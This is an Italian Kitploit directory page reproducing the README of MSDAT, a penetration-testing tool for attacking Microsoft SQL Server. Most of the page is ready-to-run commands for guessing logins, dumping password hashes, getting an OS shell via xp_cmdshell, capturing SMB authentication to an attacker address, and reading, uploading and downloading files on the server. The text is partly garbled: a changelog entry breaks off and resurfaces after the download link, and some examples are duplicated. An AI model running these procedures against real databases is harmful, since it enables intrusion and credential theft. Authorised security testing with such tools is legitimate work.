Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
msdat — MSDAT: Strumento di attacco ai database Microsoft SQL | Kitploit
Strumenti/GitHubGitHub/quentinhardy/msdat
Escalation di PrivilegiAttacchi alle PasswordExploitRaccolta InformazioniPenetration TestingSicurezza dei Database
GitHubquentinhardy/msdat

msdat

MSDAT: Strumento di attacco ai database Microsoft SQL

Vedi Repository
1.0k1453 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Quentin HARDY
[email protected]
[email protected]

MSDAT

MSDAT (Microsoft SQL Database Attacking Tool) è uno strumento di penetration test open source che testa la sicurezza dei database Microsoft SQL da remoto.

Esempi di utilizzo di MSDAT:

  • Hai un database Microsoft in ascolto in remoto e vuoi trovare credenziali valide per connetterti al database
  • Hai un account Microsoft SQL valido su un database e vuoi elevare i tuoi privilegi
  • Hai un account Microsoft SQL valido e vuoi eseguire comandi sul sistema operativo che ospita questo DB (es. xp_cmdshell, OLE Automation, Agent Jobs)

Testato su database Microsoft SQL 2005, 2008, 2012, 2014, 2016 e 2019.

Changelog

  • Versione 2.4 (28/12/2022) :
    • 2 nuove opzioni nel modulo search: --privs e --privs-full per ottenere i ruoli e i privilegi dell'utente corrente (es. privilegi di login e database)
    • 1 nuova opzione nel modulo search: --config per ottenere configurazioni e informazioni del database (versione, database, utenti, utenti disabilitati, procedure memorizzate, ecc.)
  • Versione 2.3 (18/12/2022) :
    • compatibile con Microsoft SQL Server 2019
    • nuova opzione --schema-dump nel modulo search per estrarre lo schema e salvare in un file (tranne per i DB predefiniti)
    • nuova opzione --table-dump nel modulo search per estrarre tutte le tabelle e salvare in un file (tranne per i DB predefiniti)
    • nuova opzione --sql-shell nel modulo search per ottenere una shell SQL pseudo minima
  • Versione 2.2 (29/04/2022) :
    • --nmap-file e -l possono ora essere utilizzati nel modulo all e nel modulo passwordguesser. Puoi fornire una lista di target con -l o un file nmap con --nmap-file.
    • Numerose correzioni di bug
  • Versione 2.1 (04/03/2020) :
    • Opzione --nmap-file per caricare tutti i servizi mssql da un file XML nmap (deve essere installato python-libnmap)
  • Versione 2.0 (04/03/2020) :
    • Da Python 2 a Python 3: MSDAT è ora compatibile solo con Python 3. Python 2 non è supportato.
    • Opzione separatore nel modulo password guesser
    • Miglioramenti nella gestione degli errori nell'opzione --put-file del modulo xpcmdshell
    • Miglioramenti nell'opzione reverse shell del modulo jobs
    • Modulo OLE automation - miglioramenti nell'esecuzione dei comandi
    • Modulo OLE automation - implementata reverse shell Powershell
    • nuova opzione per stampare l'elenco dei job degli agent e il loro codice: --print-jobs
  • Versione 1.2 (26/02/2020) :
    • Nuovo metodo nel modulo xpCmdShell: Caricare un file binario con powershell (--put-file)
    • Miglioramento in oleAutomation: caricare il file in modalità binaria invece che come file di testo
  • Versione 1.1 (12/07/2019) :
    • molte altre credenziali predefinite. Grazie a

Funzionalità

Grazie a MSDAT (Microsoft SQL Database Attacking Tool), puoi (elenco non esaustivo):

  • ottenere informazioni tecniche (es: versione del database) di un database MSSQL senza essere autenticato
  • caricare un file nmap per scansionare tutti i target MSSQL
  • cercare account MSSQL con un attacco dizionario
  • testare ogni login come password (richiede autenticazione)
  • ottenere una shell Windows sul server del database con
    • xp_cmdshell
    • OLE Automation
    • Jobs
  • scaricare file in remoto con:
    • OLE Automation
    • bulkinsert
    • openrowset
  • caricare file sul server con:
    • OLE Automation
    • openrowset
  • catturare un'autenticazione SMB grazie a:
    • bulkinsert
    • openrowset
    • xp_dirtree
    • xp_fileexist
    • xp-getfiledetails
  • rubare password MSSQL hashate, su qualsiasi versione MSSQL
  • scansionare porte attraverso il database:
    • openrowset
  • eseguire richieste SQL su un server MSSQL remoto attraverso il database (target) con:
    • bulkinsert
    • openrowset
  • elencare file/directory con:
    • xp_subdirs
    • xp_dirtree
  • elencare unità/supporti con:
    • xp_fixeddrives
    • xp_availablemedia
  • creare cartella con:
    • xp_create_subdir
  • cercare dati sensibili nelle tabelle (es. credenziali)
  • ottenere la configurazione del database (database, utenti, procedure memorizzate, ecc.)
  • estrarre lo schema e tutte le informazioni delle tabelle
  • eseguire comandi SQL di base in una shell SQL pseudo

Installazione

Alcune dipendenze devono essere installate per eseguire MSDAT.

In ubuntu:

root@kitploit:~
sudo apt-get install freetds-dev 

o scaricare freetds su http://www.freetds.org/

Installare le dipendenze Python:

root@kitploit:~
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete

o

root@kitploit:~
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

Aggiungere "use ntlmv2 = yes" nel file di configurazione freetds (es: /etc/freetds/freetds.conf o /usr/local/etc/freetds.conf). Esempio:

root@kitploit:~
[global]
        # TDS protocol version
        tds version = 8.0
        use ntlmv2 = yes

Come iniziare

root@kitploit:~
python3 msdat.py -h                                                                                                                                                                                                                                                    2 ⨯
usage: msdat.py [-h] [--version]
                {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                ...

               _   _  __  __   _  ___ 
              | \_/ |/ _||  \ / \|_ _|
              | \_/ |\_ \| o ) o || | 
              |_| |_||__/|__/|_n_||_| 
                        
------------------------------------------------------
 _   _  __            __           _           ___ 
| \_/ |/ _|         |  \         / \         |_ _|
| \_/ |\_ \         | o )         o |         | | 
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool 
                        
-------------------------------------------------------

Di Quentin Hardy ([email protected])

argomenti posizionali:
  {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
                        
                        Scegli un comando principale
    all                 per eseguire tutti i moduli per sapere cosa è possibile fare
    mssqlinfo           per ottenere informazioni senza autenticazione
    passwordguesser     per conoscere credenziali valide
    passwordstealer     per ottenere password hashate
    xpcmdshell          per ottenere una shell
    jobs                per eseguire comandi di sistema
    smbauthcapture      per catturare un'autenticazione SMB
    oleautomation       per leggere/scrivere file ed eseguire comandi di sistema
    bulkopen            per leggere un file e scansionare porte
    xpdirectory         per elencare file/unità e creare directory
    trustworthype       per diventare sysadmin con il metodo del database trustwothy
    userlikepwd         per provare ogni nome utente MSSQL memorizzato nel DB come corrispondente password
    search              per cercare nei nomi delle colonne
    cleaner             pulire le tracce locali

argomenti opzionali:
  -h, --help            mostra questo messaggio di aiuto ed esci
  --version             mostra il numero di versione del programma ed esci

Esempi

Moduli

  • Puoi elencare tutti i moduli:
root@kitploit:~
./msdat.py -h
  • Quando hai scelto un modulo (esempio: all), puoi usarlo e puoi elencare tutte le funzionalità e opzioni del modulo:
root@kitploit:~
./msdat.py all -h

Puoi sapere se un modulo specifico può essere utilizzato su un server MSSQL grazie all'opzione --test-module. Questa opzione è implementata in ogni modulo mdat.

Modulo all

Il modulo all ti permette di eseguire tutti i moduli (dipende dalle opzioni che hai acquistato).

root@kitploit:~
python msdat.py all -s $SERVER

Se vuoi:

  • utilizzare il tuo file account per l'attacco dizionario
  • provare più password per un utente senza chiedere conferma
  • definire il tuo timeout personalizzato
root@kitploit:~
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry

In ogni modulo, puoi definire il charset da utilizzare con l'opzione --charset.

Modulo mssqlinfo

Per ottenere informazioni tecniche su un server MSSQL remoto senza essere autenticato:

root@kitploit:~
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info

Questo modulo utilizza il protocollo TDS e SQL browser Server per ottenere informazioni.

Modulo passwordguesser

Questo modulo ti permette di cercare credenziali valide:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search

L'opzione --force-retry permette di testare più password per ogni utente senza chiedere conferma

Puoi specificare il tuo file account con l'opzione --accounts-file:

root@kitploit:~
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry

Modulo passwordstealer

Per scaricare le password hashate:

root@kitploit:~
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt

Questo modulo è stato testato su SQL Server 2000, 2005, 2008 e 2014.

Modulo xpcmdshell

Per eseguire comandi di sistema grazie a xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell

Questo comando precedente ti fornisce una shell interattiva sul server del database remoto.

Se xp_cmdshell non è abilitato, l'opzione --enable-xpcmdshell può essere utilizzata in questo modulo per attivarlo:

root@kitploit:~
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell

L'opzione --enable-xpcmdshell abilita xp_cmdshell se non è abilitato (non abilitato per impostazione predefinita).

L'opzione --disable-xpcmdshell disabilita xp_cmdshell se è abilitato.

Modulo smbauthcapture

Grazie a questo modulo, puoi catturare un'autenticazione SMB:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE

Per catturare l'autenticazione SMB, potrebbe essere utilizzato il modulo auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) di metasploit:

root@kitploit:~
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit

Il comando capture di questo modulo cerca di catturare un'autenticazione SMB grazie alle procedure xp_dirtree, xp_fileexist o xp-getfiledetails.

Se vuoi scegliere la procedura di autenticazione SMB per catturare l'autenticazione:

root@kitploit:~
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1

Puoi cambiare il nome SHARE con l'opzione --share-name.

Modulo oleautomation

Questo modulo può essere utilizzato per leggere/scrivere file nel server del database.

Il seguente comando legge il file temp.txt memorizzato nel server del database:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

Per scrivere una stringa in un file (temp.txt) in remoto:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'

Questo modulo può essere utilizzato per scaricare un file (C:\Users\Administrator\Desktop\temp.txt) memorizzato sul server del database:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Inoltre, puoi utilizzare questo modulo per caricare un file (temp.txt) sul target:

root@kitploit:~
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt'

Modulo bulkopen

Il modulo bulkopen può essere utilizzato:

  • per leggere/scaricare file memorizzati su un server del database
  • per scansionare porte attraverso il server del database
  • per eseguire richieste SQL su un server MSSQL remoto attraverso il database

Per leggere un file memorizzato nel target, può essere utilizzato il seguente comando:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'

L'opzione --method può essere utilizzata per specificare il metodo da utilizzare:

  • bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) o
  • openrowset(https://msdn.microsoft.com/en-us/library/ms190312.aspx):
root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset

Per scaricare un file (C:\Users\Administrator\Desktop\temp.txt):

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt

Questo modulo può essere utilizzato per scansionare porte (1433 e 1434 di 127.0.0.1) attraverso il server del database:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v

Puoi scansionare un intervallo di porte:

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438

Questo modulo può essere utilizzato per eseguire richieste SQL (es: select @@ServerName) su un server del database remoto (es: $SERVER2) attraverso il database ($SERVER):

root@kitploit:~
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'

Modulo xpdirectory

Il modulo xpdirectory può essere utilizzato:

  • per elencare:
  • file
  • directory
  • unità
  • per verificare se un file esiste
  • per creare una directory

Per elencare i file in una directory specifica:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'

Per elencare le directory in una directory specifica:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'

Per elencare le unità:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media

Per verificare se un file esiste:

root@kitploit:~
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'

Per creare una directory:

root@kitploit:~
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'

Modulo search

Il modulo search può essere utilizzato per cercare un pattern nei nomi delle colonne di tabelle e viste. Utile per cercare il pattern %password% nei nomi delle colonne, ad esempio.

Per ottenere i nomi delle colonne che contengono pattern di password (es: passwd, password, motdepasse, clave):

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Se vuoi vedere i nomi delle colonne che non contengono dati, dovresti utilizzare l'opzione --show-empty-columns.

Per cercare un pattern specifico nei nomi delle colonne di viste e tabelle:

root@kitploit:~
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns

Donazione

Se vuoi supportare il mio lavoro con una donazione, lo apprezzerei molto:

  • Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf
Scarica lo strumento
https://github.com/govolution/betterdefaultpasslist/
  • Versione 1.0 (15/02/2017) :
    • prima versione rilasciata